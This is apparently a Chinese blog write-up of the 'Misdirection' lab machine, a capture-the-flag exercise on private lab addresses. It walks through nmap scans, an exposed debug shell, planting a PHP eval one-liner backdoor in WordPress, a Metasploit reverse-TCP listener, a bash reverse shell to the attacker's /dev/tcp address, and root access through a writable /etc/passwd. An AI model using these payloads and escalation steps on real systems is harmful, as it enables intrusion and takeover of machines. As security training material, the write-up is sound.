Misdriection
信息收集
存活主机探测
# nmap -sn 192.168.110.0/24 -oN live.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 19:58 CST
Nmap scan report for 192.168.110.1
Host is up (0.00024s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.110.2
Host is up (0.00027s latency).
MAC Address: 00:50:56:FE:B1:6F (VMware)
Nmap scan report for 192.168.110.132
Host is up (0.000062s latency).
MAC Address: 00:0C:29:46:76:C4 (VMware)
Nmap scan report for 192.168.110.254
Host is up (0.00017s latency).
MAC Address: 00:50:56:EB:FB:17 (VMware)
Nmap scan report for 192.168.110.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 27.94 seconds
存活主机端口信息探测
# nmap -sT --min-rate 10000 -p- 192.168.110.132 -oN port4.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 19:59 CST
Nmap scan report for 192.168.110.132
Host is up (0.00089s latency).
Not shown: 65531 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8080/tcp open http-proxy
MAC Address: 00:0C:29:46:76:C4 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 2.94 seconds
端口开放服务版本以及操作系统信息探测
# nmap -sT -sC -sV -O -p22,80,3306,8080 192.168.110.132 -oN detail.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 20:02 CST
Nmap scan report for 192.168.110.132
Host is up (0.00045s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ec:bb:44:ee:f3:33:af:9f:a5:ce:b5:77:61:45:e4:36 (RSA)
| 256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_ 256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp open http Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-server-header: Rocket 1.2.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open mysql MySQL (unauthorized)
8080/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
MAC Address: 00:0C:29:46:76:C4 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.09 seconds
漏洞脚本信息探测
# nmap -sT --script=vuln -p22,80,3306,8080 192.168.110.132 -oN vuln.nmap
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-06 20:02 CST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for 192.168.110.132
Host is up (0.00042s latency).
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-sql-injection:
| Possible sqli for queries:
| http://192.168.110.132:80/init/default/user/request_reset_password?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
| http://192.168.110.132:80/init/default/user/register?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
| http://192.168.110.132:80/init/default/user/login?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
| http://192.168.110.132:80/init/default/user/request_reset_password?_next=%2Finit%2Fdefault%2Findex%27%20OR%20sqlspider
| http://192.168.110.132:80/init/default/user/register?_next=%2Finit%2Fdefault%2Fsupport%27%20OR%20sqlspider
| http://192.168.110.132:80/init/default/user/request_reset_password?_next=%2Finit%2Fdefault%2Fsupport%27%20OR%20sqlspider
| http://192.168.110.132:80/init/default/user/login?_next=%2Finit%2Fdefault%2Fsupport%27%20OR%20sqlspider
|_ http://192.168.110.132:80/init/default/user/login?_next=%2Finit%2Fdefault%2Felections%27%20OR%20sqlspider
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /admin/: Possible admin folder
|_ /admin/admin/: Possible admin folder
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.110.132
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.110.132:80/init/default/user/request_reset_password?_next=/init/de
| Form id: auth_user_email__row
| Form action: #
|
| Path: http://192.168.110.132:80/init/default/elections
| Form id: auth_user_email__row
|_ Form action: #
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2014-3704: ERROR: Script execution failed (use -d to debug)
3306/tcp open mysql
8080/tcp open http-proxy
| http-enum:
| /wordpress/: Blog
| /wordpress/wp-login.php: Wordpress login page.
| /css/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /debug/: Potentially interesting folder
| /development/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /help/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /images/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /js/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
| /manual/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
|_ /scripts/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
MAC Address: 00:0C:29:46:76:C4 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 91.90 seconds
渗透测试
首先看了一下80端口上的服务:
是一个在线的投票系统,存在登陆注册相关功能:
功能点还是比较多的,同时看到前期的漏洞扫描,发现了两个admin的目录,尝试进行访问,这里其实在登陆注册的地方都是可以进行测试,但是我还是喜欢先整体上看一遍,判断一下突破口可能在什么地方:
同样/admin/admin目录也是这样的界面!
回想起来8080端口上可能是存在wordpress!先进行了一波目录的扫描:
发现存在许多比较感兴趣的目录,看看能否在8080端口上找到突破点!上来看debug目录就惊呆了,直接能命令执行的初始的shell~
继续向下看,之后回来再看这个debug~ development目录下面是空的,通过修改请求方式查看是否存在PUT方式能直接上传文件到这个目录下:
help目录下面和上面development是一样的!
wordpress界面发现了blog,同时利用wpscan进行用户名的探测,当然在博客的首页也是能发现存在admin用户的!
同时识别到wordpress的版本为5.2.19
(在访问wordpress的登陆界面的时候,发现会跳转http://192.168.1.61:8080/wordpress/wp-login.php)所以这里我就修改了一下网络的配置~
同时利用cewl进行了网站的关键字的爬取进行登录!尝试失败~ 目前没有密码 只有账号 回到debug目录:
发现wordpress目录下面的config文件,进行查看:
发现了数据库的账号和密码,尝试mysql的登录 但是登陆失败~ 只能是本地登录了
看到wordpress目录下面存在index.php 查看是否有写入的权限,尝试向index.php里面追加代码:
有写入的权限,尝试写代码进去:
成功执行~ 尝试写反弹shell的马 或者是直接上一句话木马~ (这里我先是上传了一句话木马,发现写的马子少了东西)
怀疑是存在过滤,还以为是过滤$_POST 随后又上传了$_REQUEST 发现还是消失了~ 又尝试了上传msfvenom生成的php反弹shell马,写入后查看了一下,又缺少了$xx 奇奇怪怪 估计这是一个特殊的字符 起到了让$后面的字符变为空~ 暂时还不知道为啥这样。
但是我绕过去了,先是写$$_到文件里面,发现第二个$变为数字,这个方法不行:
又尝试了在$前面加上反斜杠\ 给他转义!成了能写进去了!
最终一句话木马变成了:
<?php eval(\$_POST['shell']);?>
这里没写反弹shell的木马,里面的$多 比较麻烦,经过上面的测试,在反弹shell中每一个$添加"\",应该就可以正常执行马。(这里出现的这种原因将在最后的总结中提到)
连接蚁剑
上线MSF
确认当前的用户为www-data,上传反弹shell的木马,利用msfvenom生成linux可执行的反弹马:
上传成功后,给予可执行的权限~ 利用msfconsole起监听:
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.1.60
set lport 4444
run
同时在蚁剑上执行shell.elf
提权
拿到初始shell之后,先去提升下bash的交互性。后通过uname -a 查看系统的内核版本信息:
uname -a
Linux misdirection 4.15.0-50-generic #54-Ubuntu SMP Mon May 6 18:46:08 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
上面信息收集到系统为Ubuntu 18.04 也不优先使用内核漏洞进行提权,继续向下看;因为上面已经通过debug收集到数据库的账号和密码,所以想着先进入数据库看看:
mysql -ublog -p
大体上看了一下各个表的内容,没发现什么有用的信息:
/etc/passwd文件中发现了brexit用户:
查看当前用户的sudo权限:
发现可以免密执行/bin/bash~ 那么就用brexit用户起一个bash:
sudo -u brexit /bin/bash
成功切换到brexit用户,之前在浏览的时候发现了家目录下面存在某些文件,但是没有权限看,现在回去看看:
这应该是个flag吧 解密没解出来,这应该就是一个flag了,后面尝试提权,发现/etc/passwd brexit用户具有可写的权限~ 直接写一个root进去:
利用openssl生成一个hash:
openssl passwd 123456
写的时候还是需要将$前面加上\转义
切换到root2用户,密码就是123456
至此整个靶机便打完了。
总结
这里我又看了红队笔记的讲解,存在几个问题:
- 首先就是debug其实就是一个初始的shell,没有那么麻烦去写马,连接蚁剑,上传反弹shell马,直接通过bash进行shell的转移即可????????
- bash -c "bash -i >& /dev/tcp/192.168.1.60/1234 0>&1" 攻击机利用nc监听端口即可 (死板 不够灵活)
- 之所以在写初始的shell中写入echo "$i" >test.php 中,出现空的情况,是因为,$i代表的是i的变量,由于i变量的值是空的,因此写进去的内容就是空的~ 而我们要写进去的只是普通的字符 所以在$前面加上\ 进行转义!
- 同时还遗漏了一个点,红笔的大佬通过ls -liah /home/brexit 通过上述的命令查看了brexit家目录下的所有的文件,发现了.viminfo 这个文件也是属于敏感文件的! 当用户使用vim的时候,相关的操作命令便会被这个文件所记录!通过该文件里面记录了对/etc/passwd的操作,因此怀疑brexit用户对/etc/passwd有相应的权限。然后我没有看到这里;由于之前做过Holynix靶场,于是每次提权都会看看/etc/passwd的权限。所以忽略了.viminfo
整个靶场的打靶流程思路:
首先通过信息收集得到了端口22 80 3306 8080,然后在80端口上浏览了一下,是一个web2py框架起的服务,功能点也比较多;
随后看了8080端口上的服务,经过目录扫描,发现了一个和系统初始shell一样的shell,后面进行shell的移动(我的方法比较麻烦);
最后提权阶段,正常来说www-data低权限用户没有什么权限的,但是经过sudo -l 查看到sudoers文件可以免密以brexit用户执行/bin/bash 随后指定以brexit执行命令,成功提权到了brexit用户。之后便是发现了brexit用户可以修改/etc/passwd文件。于是写了一个root权限的新账号
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!